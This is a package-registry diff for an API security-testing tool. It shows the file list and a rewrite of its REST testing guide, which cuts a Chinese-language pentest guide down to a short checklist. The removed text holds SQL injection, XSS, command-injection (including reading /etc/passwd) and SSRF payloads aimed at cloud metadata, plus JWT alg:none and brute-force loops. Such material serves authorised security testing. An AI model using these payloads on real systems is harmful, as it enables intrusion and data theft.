opencode-api-security-testing 2.1.0 → 2.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/SKILL.md +1797 -0
- package/core/advanced_recon.py +788 -0
- package/core/agentic_analyzer.py +445 -0
- package/core/analyzers/api_parser.py +210 -0
- package/core/analyzers/response_analyzer.py +212 -0
- package/core/analyzers/sensitive_finder.py +184 -0
- package/core/api_fuzzer.py +422 -0
- package/core/api_interceptor.py +525 -0
- package/core/api_parser.py +955 -0
- package/core/browser_tester.py +479 -0
- package/core/cloud_storage_tester.py +1330 -0
- package/core/collectors/__init__.py +23 -0
- package/core/collectors/api_path_finder.py +300 -0
- package/core/collectors/browser_collect.py +645 -0
- package/core/collectors/browser_collector.py +411 -0
- package/core/collectors/http_client.py +111 -0
- package/core/collectors/js_collector.py +490 -0
- package/core/collectors/js_parser.py +780 -0
- package/core/collectors/url_collector.py +319 -0
- package/core/context_manager.py +682 -0
- package/core/deep_api_tester_v35.py +844 -0
- package/core/deep_api_tester_v55.py +366 -0
- package/core/dynamic_api_analyzer.py +532 -0
- package/core/http_client.py +179 -0
- package/core/models.py +296 -0
- package/core/orchestrator.py +890 -0
- package/core/prerequisite.py +227 -0
- package/core/reasoning_engine.py +1042 -0
- package/core/response_classifier.py +606 -0
- package/core/runner.py +938 -0
- package/core/scan_engine.py +599 -0
- package/core/skill_executor.py +435 -0
- package/core/skill_executor_v2.py +670 -0
- package/core/skill_executor_v3.py +704 -0
- package/core/smart_analyzer.py +687 -0
- package/core/strategy_pool.py +707 -0
- package/core/testers/auth_tester.py +264 -0
- package/core/testers/idor_tester.py +200 -0
- package/core/testers/sqli_tester.py +211 -0
- package/core/testing_loop.py +655 -0
- package/core/utils/base_path_dict.py +255 -0
- package/core/utils/payload_lib.py +167 -0
- package/core/utils/ssrf_detector.py +220 -0
- package/core/verifiers/vuln_verifier.py +536 -0
- package/package.json +17 -13
- package/references/asset-discovery.md +119 -612
- package/references/graphql-guidance.md +65 -641
- package/references/intake.md +84 -0
- package/references/report-template.md +131 -38
- package/references/rest-guidance.md +55 -526
- package/references/severity-model.md +52 -264
- package/references/test-matrix.md +65 -263
- package/references/validation.md +53 -400
- package/scripts/postinstall.js +46 -0
- package/agents/cyber-supervisor.md +0 -55
- package/agents/probing-miner.md +0 -42
- package/agents/resource-specialist.md +0 -31
- package/commands/api-security-testing-scan.md +0 -59
- package/commands/api-security-testing-test.md +0 -49
- package/commands/api-security-testing.md +0 -72
- package/tsconfig.json +0 -17
|
@@ -1,547 +1,76 @@
|
|
|
1
|
-
# REST
|
|
1
|
+
# REST Guidance
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
当 API 是 REST 风格或面向资源时使用。
|
|
4
4
|
|
|
5
|
-
|
|
6
|
-
2. [端点发现策略](#2-端点发现策略)
|
|
7
|
-
3. [认证测试](#3-认证测试)
|
|
8
|
-
4. [授权测试 (IDOR)](#4-授权测试-idor)
|
|
9
|
-
5. [输入验证测试](#5-输入验证测试)
|
|
10
|
-
6. [业务逻辑测试](#6-业务逻辑测试)
|
|
11
|
-
7. [安全配置测试](#7-安全配置测试)
|
|
5
|
+
## 关注领域
|
|
12
6
|
|
|
13
|
-
|
|
7
|
+
- object identifiers in paths and query strings
|
|
8
|
+
- method confusion across the same resource
|
|
9
|
+
- alternate versions exposing weaker controls
|
|
10
|
+
- bulk read and bulk write operations
|
|
11
|
+
- export and import endpoints
|
|
12
|
+
- callback URL configuration
|
|
13
|
+
- file upload and file retrieval
|
|
14
|
+
- verbose errors and debug metadata
|
|
14
15
|
|
|
15
|
-
##
|
|
16
|
+
## 常见风险信号
|
|
16
17
|
|
|
17
|
-
|
|
18
|
+
- `GET /resource/{id}` with predictable IDs
|
|
19
|
+
- `PUT` or `PATCH` routes that accept role, tenant, or owner fields
|
|
20
|
+
- undocumented admin or support routes
|
|
21
|
+
- query parameters affecting filtering, sorting, or joins on sensitive objects
|
|
22
|
+
- separate internal and public route families with inconsistent auth
|
|
23
|
+
- data export endpoints returning broad records with limited user context
|
|
18
24
|
|
|
19
|
-
|
|
20
|
-
|------|------|
|
|
21
|
-
| URL 模式 | `/resource/{id}`, `/api/users`, `/v1/orders` |
|
|
22
|
-
| HTTP 方法 | GET/POST/PUT/DELETE/PATCH |
|
|
23
|
-
| Content-Type | `application/json` |
|
|
24
|
-
| 认证头 | Authorization: Bearer / Token |
|
|
25
|
-
| 响应格式 | JSON 或 XML |
|
|
25
|
+
## 推荐分组
|
|
26
26
|
|
|
27
|
-
|
|
27
|
+
按对象家族或工作流分组 endpoints,而非单独列出每个路由。
|
|
28
28
|
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
29
|
+
示例分组:
|
|
30
|
+
- user administration
|
|
31
|
+
- billing and invoices
|
|
32
|
+
- file operations
|
|
33
|
+
- reporting and exports
|
|
34
|
+
- organization or tenant management
|
|
35
|
+
- authentication and sessions
|
|
36
|
+
- API key and token management
|
|
37
|
+
- administrative operations
|
|
38
|
+
- data import and bulk updates
|
|
39
|
+
- search and filter operations
|
|
36
40
|
|
|
37
|
-
|
|
38
|
-
POST /users/login - 登录
|
|
39
|
-
POST /users/logout - 登出
|
|
40
|
-
GET /users/{id}/orders - 获取用户订单
|
|
41
|
+
## 特别关注
|
|
41
42
|
|
|
42
|
-
|
|
43
|
-
/api/v1/
|
|
44
|
-
/api/v2/
|
|
45
|
-
/rest/
|
|
46
|
-
/webapi/
|
|
47
|
-
/openapi/
|
|
48
|
-
```
|
|
43
|
+
### 对象引用
|
|
49
44
|
|
|
50
|
-
|
|
45
|
+
- 路径中的数字 ID(可预测?)
|
|
46
|
+
- UUID vs 序列号
|
|
47
|
+
- 嵌套资源路径 `/users/{id}/orders/{order_id}`
|
|
51
48
|
|
|
52
|
-
|
|
49
|
+
### 方法混淆
|
|
53
50
|
|
|
54
|
-
|
|
51
|
+
- 同资源不同方法(GET vs PUT vs DELETE)
|
|
52
|
+
- PUT 接受不应该能修改的字段(role, tenant_id)
|
|
55
53
|
|
|
56
|
-
|
|
57
|
-
1. 从 JS/CSS 中提取 API 路径
|
|
58
|
-
2. 从 Swagger/OpenAPI 文档获取
|
|
59
|
-
3. 从 WebSocket 消息中捕获
|
|
60
|
-
4. 从 HTML 注释中查找
|
|
61
|
-
```
|
|
54
|
+
### 版本差异
|
|
62
55
|
|
|
63
|
-
|
|
56
|
+
- `/v1/` vs `/v2/` 的安全控制是否一致
|
|
57
|
+
- 旧版本是否暴露更多功能
|
|
64
58
|
|
|
65
|
-
|
|
66
|
-
# 常见 API 路径字典
|
|
67
|
-
API_PREFIXES = [
|
|
68
|
-
"/api", "/api/v1", "/api/v2", "/api/v3",
|
|
69
|
-
"/rest", "/rest/api", "/webapi",
|
|
70
|
-
"/admin", "/manager", "/backend",
|
|
71
|
-
"/auth", "/oauth", "/public",
|
|
72
|
-
]
|
|
59
|
+
### Admin 接口
|
|
73
60
|
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
"login", "logout", "register", "signup", "signin",
|
|
78
|
-
"forgot", "reset", "verify", "token", "refresh",
|
|
79
|
-
# 用户
|
|
80
|
-
"user", "users", "profile", "account", "info",
|
|
81
|
-
"me", "settings", "preferences",
|
|
82
|
-
# 订单/支付
|
|
83
|
-
"order", "orders", "payment", "pay", "refund",
|
|
84
|
-
"transaction", "invoice", "billing",
|
|
85
|
-
# 资源
|
|
86
|
-
"file", "files", "upload", "download", "image", "avatar",
|
|
87
|
-
"document", "attachment",
|
|
88
|
-
]
|
|
61
|
+
- `/admin/` 家族
|
|
62
|
+
- `/internal/` 家族
|
|
63
|
+
- `/debug/` 或 `/manage/`
|
|
89
64
|
|
|
90
|
-
|
|
91
|
-
for prefix in API_PREFIXES:
|
|
92
|
-
for endpoint in API_ENDPOINTS:
|
|
93
|
-
url = target + prefix + "/" + endpoint
|
|
94
|
-
test_endpoint(url)
|
|
95
|
-
```
|
|
65
|
+
### 文件操作
|
|
96
66
|
|
|
97
|
-
|
|
67
|
+
- `/upload/`
|
|
68
|
+
- `/import/`
|
|
69
|
+
- `/export/`
|
|
70
|
+
- `/download/`
|
|
98
71
|
|
|
99
|
-
|
|
100
|
-
# 常见参数名
|
|
101
|
-
COMMON_PARAMS = [
|
|
102
|
-
# ID 类
|
|
103
|
-
"id", "userId", "user_id", "uid", "accountId",
|
|
104
|
-
"orderId", "order_id", "productId", "pageId",
|
|
105
|
-
# 认证类
|
|
106
|
-
"token", "accessToken", "access_token", "refreshToken",
|
|
107
|
-
"session", "sessionId", "apiKey", "api_key",
|
|
108
|
-
# 分页
|
|
109
|
-
"page", "pageSize", "limit", "offset", "count",
|
|
110
|
-
# 筛选
|
|
111
|
-
"search", "query", "filter", "sort", "order",
|
|
112
|
-
"start", "end", "from", "to", "date",
|
|
113
|
-
]
|
|
114
|
-
```
|
|
72
|
+
### 敏感查询
|
|
115
73
|
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
### 3.1 JWT 测试
|
|
121
|
-
|
|
122
|
-
```python
|
|
123
|
-
# JWT 特征识别
|
|
124
|
-
jwt_pattern = r'eyJ[A-Za-z0-9-_]+\.eyJ[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+'
|
|
125
|
-
|
|
126
|
-
# JWT 漏洞测试
|
|
127
|
-
jwt_tests = [
|
|
128
|
-
# alg:none 攻击
|
|
129
|
-
{
|
|
130
|
-
"name": "JWT alg:none",
|
|
131
|
-
"payload": "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.",
|
|
132
|
-
"header": {"alg": "none"},
|
|
133
|
-
},
|
|
134
|
-
# 密钥混淆攻击
|
|
135
|
-
{
|
|
136
|
-
"name": "JWT HS256 key confusion",
|
|
137
|
-
"attack": "使用公钥作为对称密钥重放",
|
|
138
|
-
},
|
|
139
|
-
# 空密码攻击
|
|
140
|
-
{
|
|
141
|
-
"name": "JWT with empty secret",
|
|
142
|
-
"attack": "使用空字符串签名",
|
|
143
|
-
},
|
|
144
|
-
]
|
|
145
|
-
|
|
146
|
-
# JWT 解码检查
|
|
147
|
-
def analyze_jwt(token):
|
|
148
|
-
parts = token.split('.')
|
|
149
|
-
header = json.loads(base64url_decode(parts[0]))
|
|
150
|
-
payload = json.loads(base64url_decode(parts[1]))
|
|
151
|
-
|
|
152
|
-
print(f"Algorithm: {header.get('alg')}")
|
|
153
|
-
print(f"Subject: {payload.get('sub')}")
|
|
154
|
-
print(f"Issuer: {payload.get('iss')}")
|
|
155
|
-
print(f"Expiration: {payload.get('exp')}")
|
|
156
|
-
|
|
157
|
-
# 检查敏感字段
|
|
158
|
-
if 'role' in payload: print(f"Role: {payload.get('role')}")
|
|
159
|
-
if 'admin' in payload: print(f"Admin: {payload.get('admin')}")
|
|
160
|
-
```
|
|
161
|
-
|
|
162
|
-
### 3.2 会话管理测试
|
|
163
|
-
|
|
164
|
-
```
|
|
165
|
-
测试项:
|
|
166
|
-
□ 登录后 Session ID 是否变化?
|
|
167
|
-
□ 登出后 Session 是否失效?
|
|
168
|
-
□ Session 超时时间是否合理?
|
|
169
|
-
□ 是否使用 HttpOnly/ Secure Cookie?
|
|
170
|
-
□ 是否支持"记住我"功能?(长期 Token)
|
|
171
|
-
```
|
|
172
|
-
|
|
173
|
-
### 3.3 暴力破解测试
|
|
174
|
-
|
|
175
|
-
```python
|
|
176
|
-
# 暴力破解测试
|
|
177
|
-
def test_brute_force(url, username_field, password_field):
|
|
178
|
-
# 1. 检查是否有验证码
|
|
179
|
-
response1 = requests.post(url, data={"username": "admin", "password": "wrong"})
|
|
180
|
-
|
|
181
|
-
# 2. 检查错误消息差异(用户枚举)
|
|
182
|
-
response2 = requests.post(url, data={"username": "nonexist", "password": "wrong"})
|
|
183
|
-
|
|
184
|
-
if response1.text != response2.text:
|
|
185
|
-
print("[!] 用户存在性可枚举")
|
|
186
|
-
|
|
187
|
-
# 3. 测试密码爆破
|
|
188
|
-
for password in password_list[:10]:
|
|
189
|
-
r = requests.post(url, data={
|
|
190
|
-
username_field: "admin",
|
|
191
|
-
password_field: password
|
|
192
|
-
})
|
|
193
|
-
if "success" in r.text or r.status_code == 200:
|
|
194
|
-
print(f"[!] 密码找到: {password}")
|
|
195
|
-
|
|
196
|
-
# 4. 检查账户锁定
|
|
197
|
-
for i in range(20):
|
|
198
|
-
r = requests.post(url, data={
|
|
199
|
-
username_field: "admin",
|
|
200
|
-
password_field: f"wrong{i}"
|
|
201
|
-
})
|
|
202
|
-
# 检查是否锁定
|
|
203
|
-
```
|
|
204
|
-
|
|
205
|
-
---
|
|
206
|
-
|
|
207
|
-
## 4. 授权测试 (IDOR)
|
|
208
|
-
|
|
209
|
-
### 4.1 IDOR 测试模式
|
|
210
|
-
|
|
211
|
-
```
|
|
212
|
-
测试步骤:
|
|
213
|
-
1. 用用户A登录,获取资源ID(如 orderId=123)
|
|
214
|
-
2. 使用用户A的 Token,访问用户B的资源
|
|
215
|
-
3. 检查是否能访问或操作成功
|
|
216
|
-
```
|
|
217
|
-
|
|
218
|
-
### 4.2 常见 IDOR 场景
|
|
219
|
-
|
|
220
|
-
| 场景 | 测试方法 |
|
|
221
|
-
|------|----------|
|
|
222
|
-
| 资料查看 | 修改 userId 参数查看他人资料 |
|
|
223
|
-
| 订单查看 | 修改 orderId 查看他人订单 |
|
|
224
|
-
| 文件访问 | 修改 fileId 下载他人文件 |
|
|
225
|
-
| 评论操作 | 修改 commentId 修改/删除他人评论 |
|
|
226
|
-
| 支付操作 | 修改 paymentId 取消/退款他人支付 |
|
|
227
|
-
|
|
228
|
-
### 4.3 IDOR 测试模板
|
|
229
|
-
|
|
230
|
-
```python
|
|
231
|
-
# IDOR 测试模板
|
|
232
|
-
def test_idor():
|
|
233
|
-
# 1. 获取当前用户 Token 和 ID
|
|
234
|
-
login_resp = requests.post(LOGIN_URL, json=CREDS)
|
|
235
|
-
token = login_resp.json()["token"]
|
|
236
|
-
my_id = login_resp.json()["userId"]
|
|
237
|
-
|
|
238
|
-
# 2. 创建一个资源,获取资源 ID
|
|
239
|
-
headers = {"Authorization": f"Bearer {token}"}
|
|
240
|
-
create_resp = requests.post(RESOURCE_URL, headers=headers, json=DATA)
|
|
241
|
-
resource_id = create_resp.json()["id"]
|
|
242
|
-
|
|
243
|
-
# 3. 测试直接访问资源 ID(水平越权)
|
|
244
|
-
# 用自己的 token 访问自己的资源(基线)
|
|
245
|
-
baseline = requests.get(f"{RESOURCE_URL}/{resource_id}", headers=headers)
|
|
246
|
-
|
|
247
|
-
# 4. 创建一个其他用户的资源
|
|
248
|
-
# (需要准备第二个账号)
|
|
249
|
-
|
|
250
|
-
# 5. 尝试用原 token 访问其他用户的资源
|
|
251
|
-
# 如果成功,说明存在 IDOR
|
|
252
|
-
|
|
253
|
-
# 6. 测试修改其他用户的资源
|
|
254
|
-
modify_resp = requests.put(
|
|
255
|
-
f"{RESOURCE_URL}/{other_resource_id}",
|
|
256
|
-
headers=headers,
|
|
257
|
-
json=MODIFY_DATA
|
|
258
|
-
)
|
|
259
|
-
if modify_resp.status_code == 200:
|
|
260
|
-
print("[!] 存在 IDOR - 可修改他人资源")
|
|
261
|
-
```
|
|
262
|
-
|
|
263
|
-
---
|
|
264
|
-
|
|
265
|
-
## 5. 输入验证测试
|
|
266
|
-
|
|
267
|
-
### 5.1 SQL 注入测试
|
|
268
|
-
|
|
269
|
-
```python
|
|
270
|
-
# SQL 注入测试 Payload
|
|
271
|
-
SQLI_PAYLOADS = [
|
|
272
|
-
# 基础
|
|
273
|
-
"' OR '1'='1",
|
|
274
|
-
"' OR '1'='1' --",
|
|
275
|
-
"' OR '1'='1' /*",
|
|
276
|
-
"admin' --",
|
|
277
|
-
"admin' #",
|
|
278
|
-
# Union
|
|
279
|
-
"' UNION SELECT NULL--",
|
|
280
|
-
"' UNION SELECT 1,2,3--",
|
|
281
|
-
"' UNION SELECT NULL,NULL,NULL--",
|
|
282
|
-
# 盲注
|
|
283
|
-
"' AND SLEEP(5)--",
|
|
284
|
-
"' AND (SELECT * FROM users WHERE id=1)='1",
|
|
285
|
-
# 报错注入
|
|
286
|
-
"' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--",
|
|
287
|
-
"' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--",
|
|
288
|
-
]
|
|
289
|
-
|
|
290
|
-
# 测试点
|
|
291
|
-
test_points = [
|
|
292
|
-
("GET", "/api/users?id=1' OR '1'='1", None),
|
|
293
|
-
("POST", "/api/login", {"username": "admin", "password": "' OR '1'='1"}),
|
|
294
|
-
("GET", "/api/search?q=test' WAITFOR DELAY '0:0:5'", None),
|
|
295
|
-
]
|
|
296
|
-
```
|
|
297
|
-
|
|
298
|
-
### 5.2 XSS 测试
|
|
299
|
-
|
|
300
|
-
```python
|
|
301
|
-
# XSS 测试 Payload
|
|
302
|
-
XSS_PAYLOADS = [
|
|
303
|
-
# 基础
|
|
304
|
-
"<script>alert(1)</script>",
|
|
305
|
-
"<img src=x onerror=alert(1)>",
|
|
306
|
-
"<svg onload=alert(1)>",
|
|
307
|
-
# 事件
|
|
308
|
-
"<body onload=alert(1)>",
|
|
309
|
-
"<input onfocus=alert(1) autofocus>",
|
|
310
|
-
# 编码绕过
|
|
311
|
-
"<script>alert(1)</script>",
|
|
312
|
-
"<ScRiPt>alert(1)</sCrIpT>",
|
|
313
|
-
# 钓鱼
|
|
314
|
-
"<a href='javascript:alert(1)'>click</a>",
|
|
315
|
-
]
|
|
316
|
-
|
|
317
|
-
# 测试点
|
|
318
|
-
test_points = [
|
|
319
|
-
("GET", "/api/search?q=<script>alert(1)</script>", None),
|
|
320
|
-
("POST", "/api/comment", {"text": "<img src=x onerror=alert(1)>"}),
|
|
321
|
-
]
|
|
322
|
-
```
|
|
323
|
-
|
|
324
|
-
### 5.3 命令注入测试
|
|
325
|
-
|
|
326
|
-
```python
|
|
327
|
-
# 命令注入 Payload
|
|
328
|
-
CMD_PAYLOADS = [
|
|
329
|
-
"| ls",
|
|
330
|
-
"; ls",
|
|
331
|
-
"`ls`",
|
|
332
|
-
"$(ls)",
|
|
333
|
-
"& ls &",
|
|
334
|
-
"&& ls",
|
|
335
|
-
"|| ls",
|
|
336
|
-
"| cat /etc/passwd",
|
|
337
|
-
]
|
|
338
|
-
|
|
339
|
-
# 测试点
|
|
340
|
-
test_points = [
|
|
341
|
-
("GET", "/api/ping?host=127.0.0.1; ls", None),
|
|
342
|
-
("GET", "/api/ping?host=127.0.0.1 | cat /etc/passwd", None),
|
|
343
|
-
]
|
|
344
|
-
```
|
|
345
|
-
|
|
346
|
-
### 5.4 SSRF 测试
|
|
347
|
-
|
|
348
|
-
```python
|
|
349
|
-
# SSRF 测试 Payload
|
|
350
|
-
SSRF_PAYLOADS = [
|
|
351
|
-
# 本地
|
|
352
|
-
"http://localhost/",
|
|
353
|
-
"http://127.0.0.1/",
|
|
354
|
-
"http://127.0.0.1:22/",
|
|
355
|
-
"http://127.0.0.1:3306/",
|
|
356
|
-
# 云元数据
|
|
357
|
-
"http://169.254.169.254/",
|
|
358
|
-
"http://metadata.google.internal/",
|
|
359
|
-
# 内部地址
|
|
360
|
-
"http://192.168.1.1/",
|
|
361
|
-
"http://10.0.0.1/",
|
|
362
|
-
"http://172.16.0.1/",
|
|
363
|
-
]
|
|
364
|
-
|
|
365
|
-
# 测试
|
|
366
|
-
def test_ssrf(url_param, target_url):
|
|
367
|
-
for payload in SSRF_PAYLOADS:
|
|
368
|
-
resp = requests.get(f"{BASE_URL}?{url_param}={payload}")
|
|
369
|
-
if check_internal_access(resp):
|
|
370
|
-
print(f"[!] SSRF: {payload}")
|
|
371
|
-
```
|
|
372
|
-
|
|
373
|
-
---
|
|
374
|
-
|
|
375
|
-
## 6. 业务逻辑测试
|
|
376
|
-
|
|
377
|
-
### 6.1 业务逻辑漏洞类型
|
|
378
|
-
|
|
379
|
-
| 类型 | 说明 | 测试方法 |
|
|
380
|
-
|------|------|----------|
|
|
381
|
-
| 负数测试 | 金额/数量可为负数 | amount=-1 |
|
|
382
|
-
| 零值测试 | 免费购买 | amount=0 |
|
|
383
|
-
| 溢出测试 | 超大数值绕过 | amount=99999999 |
|
|
384
|
-
| 重复测试 | 重复领取/刷单 | 多次请求 |
|
|
385
|
-
| 条件绕过 | 修改前端校验 | 移除检查字段 |
|
|
386
|
-
| 顺序绕过 | 跳过必要步骤 | 直接访问支付 |
|
|
387
|
-
| 权限绕过 | 垂直越权 | 低权限访问管理 |
|
|
388
|
-
|
|
389
|
-
### 6.2 支付逻辑测试
|
|
390
|
-
|
|
391
|
-
```python
|
|
392
|
-
# 支付漏洞测试
|
|
393
|
-
def test_payment():
|
|
394
|
-
# 1. 修改价格
|
|
395
|
-
test_cases = [
|
|
396
|
-
{"amount": 0.01}, # 低价购买
|
|
397
|
-
{"amount": -1}, # 负数金额
|
|
398
|
-
{"amount": 0}, # 免费购买
|
|
399
|
-
{"amount": 99999999}, # 超大金额
|
|
400
|
-
]
|
|
401
|
-
|
|
402
|
-
# 2. 修改货币
|
|
403
|
-
test_cases = [
|
|
404
|
-
{"currency": "USD", "amount": 100},
|
|
405
|
-
{"currency": "CNY", "amount": 1}, # 汇率绕过
|
|
406
|
-
]
|
|
407
|
-
|
|
408
|
-
# 3. 修改数量
|
|
409
|
-
test_cases = [
|
|
410
|
-
{"quantity": -1}, # 负数数量
|
|
411
|
-
{"quantity": 0}, # 零数量
|
|
412
|
-
{"quantity": 0.001}, # 小数数量
|
|
413
|
-
]
|
|
414
|
-
|
|
415
|
-
# 4. 跳过验证
|
|
416
|
-
# 直接访问回调/通知接口
|
|
417
|
-
```
|
|
418
|
-
|
|
419
|
-
### 6.3 验证码测试
|
|
420
|
-
|
|
421
|
-
```python
|
|
422
|
-
# 验证码逻辑测试
|
|
423
|
-
def test_captcha():
|
|
424
|
-
# 1. 验证码是否可复用
|
|
425
|
-
captcha_id = get_captcha_id()
|
|
426
|
-
for i in range(10):
|
|
427
|
-
verify_captcha(captcha_id, "1234") # 同一验证码多次尝试
|
|
428
|
-
|
|
429
|
-
# 2. 验证码是否暴漏
|
|
430
|
-
# 验证码值是否在响应/JS中返回
|
|
431
|
-
|
|
432
|
-
# 3. 验证码是否可绕过
|
|
433
|
-
# 删除验证码参数是否仍能通过
|
|
434
|
-
|
|
435
|
-
# 4. 暴力破解验证码
|
|
436
|
-
for code in range(10000):
|
|
437
|
-
if verify_captcha(captcha_id, str(code).zfill(4)):
|
|
438
|
-
print(f"[!] 验证码被暴力破解: {code}")
|
|
439
|
-
```
|
|
440
|
-
|
|
441
|
-
---
|
|
442
|
-
|
|
443
|
-
## 7. 安全配置测试
|
|
444
|
-
|
|
445
|
-
### 7.1 CORS 测试
|
|
446
|
-
|
|
447
|
-
```python
|
|
448
|
-
# CORS 漏洞测试
|
|
449
|
-
def test_cors():
|
|
450
|
-
# 1. 检查 CORS 配置
|
|
451
|
-
resp = requests.options(url, headers={
|
|
452
|
-
"Origin": "https://evil.com",
|
|
453
|
-
"Access-Control-Request-Method": "GET"
|
|
454
|
-
})
|
|
455
|
-
|
|
456
|
-
acao = resp.headers.get("Access-Control-Allow-Origin")
|
|
457
|
-
acac = resp.headers.get("Access-Control-Allow-Credentials")
|
|
458
|
-
|
|
459
|
-
if acao == "https://evil.com":
|
|
460
|
-
print("[!] CORS 允许任意来源")
|
|
461
|
-
if acac == "true" and acao == "*":
|
|
462
|
-
print("[!] CORS 允许凭证+任意来源")
|
|
463
|
-
|
|
464
|
-
# 2. 检查敏感头部
|
|
465
|
-
sensitive_headers = [
|
|
466
|
-
"Access-Control-Allow-Origin",
|
|
467
|
-
"Access-Control-Allow-Credentials",
|
|
468
|
-
"Access-Control-Allow-Methods",
|
|
469
|
-
"Access-Control-Allow-Headers",
|
|
470
|
-
]
|
|
471
|
-
```
|
|
472
|
-
|
|
473
|
-
### 7.2 CSRF 测试
|
|
474
|
-
|
|
475
|
-
```python
|
|
476
|
-
# CSRF 漏洞测试
|
|
477
|
-
def test_csrf():
|
|
478
|
-
# 1. 检查 SameSite Cookie
|
|
479
|
-
# None = 任何站点的请求都会携带
|
|
480
|
-
# Lax = 仅导航请求携带
|
|
481
|
-
# Strict = 仅同站请求携带
|
|
482
|
-
|
|
483
|
-
# 2. 检查 CSRF Token
|
|
484
|
-
# 是否存在 token 验证
|
|
485
|
-
# token 是否可预测
|
|
486
|
-
# token 是否可复用
|
|
487
|
-
|
|
488
|
-
# 3. 检查 Referer 验证
|
|
489
|
-
# 是否验证来源
|
|
490
|
-
# 验证是否严格
|
|
491
|
-
```
|
|
492
|
-
|
|
493
|
-
### 7.3 安全头部测试
|
|
494
|
-
|
|
495
|
-
```python
|
|
496
|
-
# 安全头部检查
|
|
497
|
-
SECURITY_HEADERS = {
|
|
498
|
-
"Strict-Transport-Security": "max-age=31536000; includeSubDomains",
|
|
499
|
-
"Content-Security-Policy": "default-src 'self'",
|
|
500
|
-
"X-Frame-Options": "DENY",
|
|
501
|
-
"X-Content-Type-Options": "nosniff",
|
|
502
|
-
"X-XSS-Protection": "1; mode=block",
|
|
503
|
-
"Cache-Control": "no-store, no-cache, must-revalidate",
|
|
504
|
-
}
|
|
505
|
-
|
|
506
|
-
def check_security_headers(url):
|
|
507
|
-
resp = requests.get(url)
|
|
508
|
-
for header, expected in SECURITY_HEADERS.items():
|
|
509
|
-
if header not in resp.headers:
|
|
510
|
-
print(f"[!] 缺少 {header}")
|
|
511
|
-
```
|
|
512
|
-
|
|
513
|
-
---
|
|
514
|
-
|
|
515
|
-
## 附录:测试检查清单
|
|
516
|
-
|
|
517
|
-
```
|
|
518
|
-
□ 认证测试
|
|
519
|
-
□ JWT 算法验证 (alg:none, 密钥混淆)
|
|
520
|
-
□ 会话管理 (登录/登出/超时)
|
|
521
|
-
□ 暴力破解 (验证码/限流)
|
|
522
|
-
□ 密码重置 (Token 预测/暴力破解)
|
|
523
|
-
|
|
524
|
-
□ 授权测试
|
|
525
|
-
□ 水平越权 (IDOR)
|
|
526
|
-
□ 垂直越权 (权限绕过)
|
|
527
|
-
□ 敏感接口访问
|
|
528
|
-
|
|
529
|
-
□ 输入验证
|
|
530
|
-
□ SQL 注入
|
|
531
|
-
□ XSS
|
|
532
|
-
□ 命令注入
|
|
533
|
-
□ SSRF
|
|
534
|
-
□ 文件上传
|
|
535
|
-
|
|
536
|
-
□ 业务逻辑
|
|
537
|
-
□ 支付逻辑
|
|
538
|
-
□ 验证码逻辑
|
|
539
|
-
□ 订单流程
|
|
540
|
-
□ 积分/优惠券
|
|
541
|
-
|
|
542
|
-
□ 安全配置
|
|
543
|
-
□ CORS
|
|
544
|
-
□ CSRF
|
|
545
|
-
□ 安全头部
|
|
546
|
-
□ API 限流
|
|
547
|
-
```
|
|
74
|
+
- 影响 join 的查询参数
|
|
75
|
+
- 排序和过滤敏感对象
|
|
76
|
+
- 分页参数的访问控制
|